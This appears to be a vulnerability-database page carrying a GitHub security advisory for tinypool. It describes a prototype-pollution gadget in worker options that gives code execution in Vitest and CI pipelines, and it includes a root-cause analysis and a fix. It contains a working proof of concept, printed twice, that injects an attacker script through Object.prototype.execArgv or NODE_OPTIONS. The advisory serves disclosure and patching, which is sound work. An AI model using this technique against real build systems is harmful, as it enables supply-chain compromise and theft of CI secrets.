GHSA-5GMW-XHRV-C9V3

Vulnerability from github – Published: 2026-10-05 22:50 – Updated: 2026-10-05 22:50
VLAI
Summary
Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution
Details

tinypool passes worker options to new Worker() by reading them off a plain object whose prototype is Object.prototype. Options the application did not set are resolved through the prototype chain and then passed explicitly to worker_threads.Worker.

Node core ignores Worker options inherited from Object.prototype. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.

Two keys reach code execution:

  1. execArgv — polluting Object.prototype.execArgv = ['--require', '/path/to/attacker.js'] causes every pool worker to load the attacker's script.
  2. env — polluting Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' } achieves the same via environment injection.

Root cause

dist/index.js lines 508-511:

env:            this.options.env,
argv:           this.options.argv,
execArgv:       this.options.execArgv,
resourceLimits: this.options.resourceLimits,

this.options is built at line 470 via object spread:

this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

Impact

Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).

Proof of concept

Minimal reproduction (3 files):

worker.mjs — the application's own legitimate worker:

export default function double(n) { return n * 2 }

payload.js — attacker-controlled code (never referenced by the app):

const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')

app.js — normal tinypool usage:

const path = require('path')

// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]

const { Tinypool } = require('tinypool')
const pool = new Tinypool({
  filename: path.join(__dirname, 'worker.mjs'),
  minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
  console.log('pool returned:', r)  // 42 — app works normally
  pool.destroy()
})

Run:

npm i tinypool@2.1.0
node app.js
cat /tmp/RCE_PROOF.txt   # attacker's code ran

Both execArgv and env vectors confirmed on Node 20.

Suggested fix

Resolve worker options with own-property semantics:

this.options = Object.assign(Object.create(null),
  kDefaultOptions, options, { filename, maxQueue: 0 });
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tinypool"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-104848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:50:01Z",
    "nvd_published_at": "2026-10-02T17:17:03Z",
    "severity": "CRITICAL"
  },
  "details": "`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`.\n\nNode core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.\n\n\nTwo keys reach code execution:\n\n1. **`execArgv`** \u2014 polluting `Object.prototype.execArgv = [\u0027--require\u0027, \u0027/path/to/attacker.js\u0027]` causes every pool worker to load the attacker\u0027s script.\n2. **`env`** \u2014 polluting `Object.prototype.env = { NODE_OPTIONS: \u0027--require /path/to/attacker.js\u0027 }` achieves the same via environment injection.\n\n## Root cause\n\n`dist/index.js` lines 508-511:\n\n```js\nenv:            this.options.env,\nargv:           this.options.argv,\nexecArgv:       this.options.execArgv,\nresourceLimits: this.options.resourceLimits,\n```\n\n`this.options` is built at line 470 via object spread:\n\n```js\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n```\n\n## Impact\n\nArbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners \u2014 an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).\n\n\n## Proof of concept\n\nMinimal reproduction (3 files):\n\n**worker.mjs** \u2014 the application\u0027s own legitimate worker:\n```js\nexport default function double(n) { return n * 2 }\n```\n\n**payload.js** \u2014 attacker-controlled code (never referenced by the app):\n```js\nconst fs = require(\u0027fs\u0027)\nfs.writeFileSync(\u0027/tmp/RCE_PROOF.txt\u0027, \u0027code execution achieved, pid=\u0027 + process.pid)\nconsole.log(\u0027*** RCE ***\u0027)\n```\n\n**app.js** \u2014 normal tinypool usage:\n```js\nconst path = require(\u0027path\u0027)\n\n// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)\nObject.prototype.execArgv = [\u0027--require\u0027, path.join(__dirname, \u0027payload.js\u0027)]\n\nconst { Tinypool } = require(\u0027tinypool\u0027)\nconst pool = new Tinypool({\n  filename: path.join(__dirname, \u0027worker.mjs\u0027),\n  minThreads: 1, maxThreads: 1\n})\npool.run(21).then(r =\u003e {\n  console.log(\u0027pool returned:\u0027, r)  // 42 \u2014 app works normally\n  pool.destroy()\n})\n```\n\nRun:\n```\nnpm i tinypool@2.1.0\nnode app.js\ncat /tmp/RCE_PROOF.txt   # attacker\u0027s code ran\n```\n\nBoth `execArgv` and `env` vectors confirmed on Node 20.\n\n\n## Suggested fix\n\nResolve worker options with own-property semantics:\n\n```js\nthis.options = Object.assign(Object.create(null),\n  kDefaultOptions, options, { filename, maxQueue: 0 });\n```",
  "id": "GHSA-5gmw-xhrv-c9v3",
  "modified": "2026-10-05T22:50:01Z",
  "published": "2026-10-05T22:50:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinylibs/tinypool/security/advisories/GHSA-5gmw-xhrv-c9v3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104848"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinylibs/tinypool/pull/134"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinylibs/tinypool"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinylibs/tinypool/releases/tag/v2.1.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…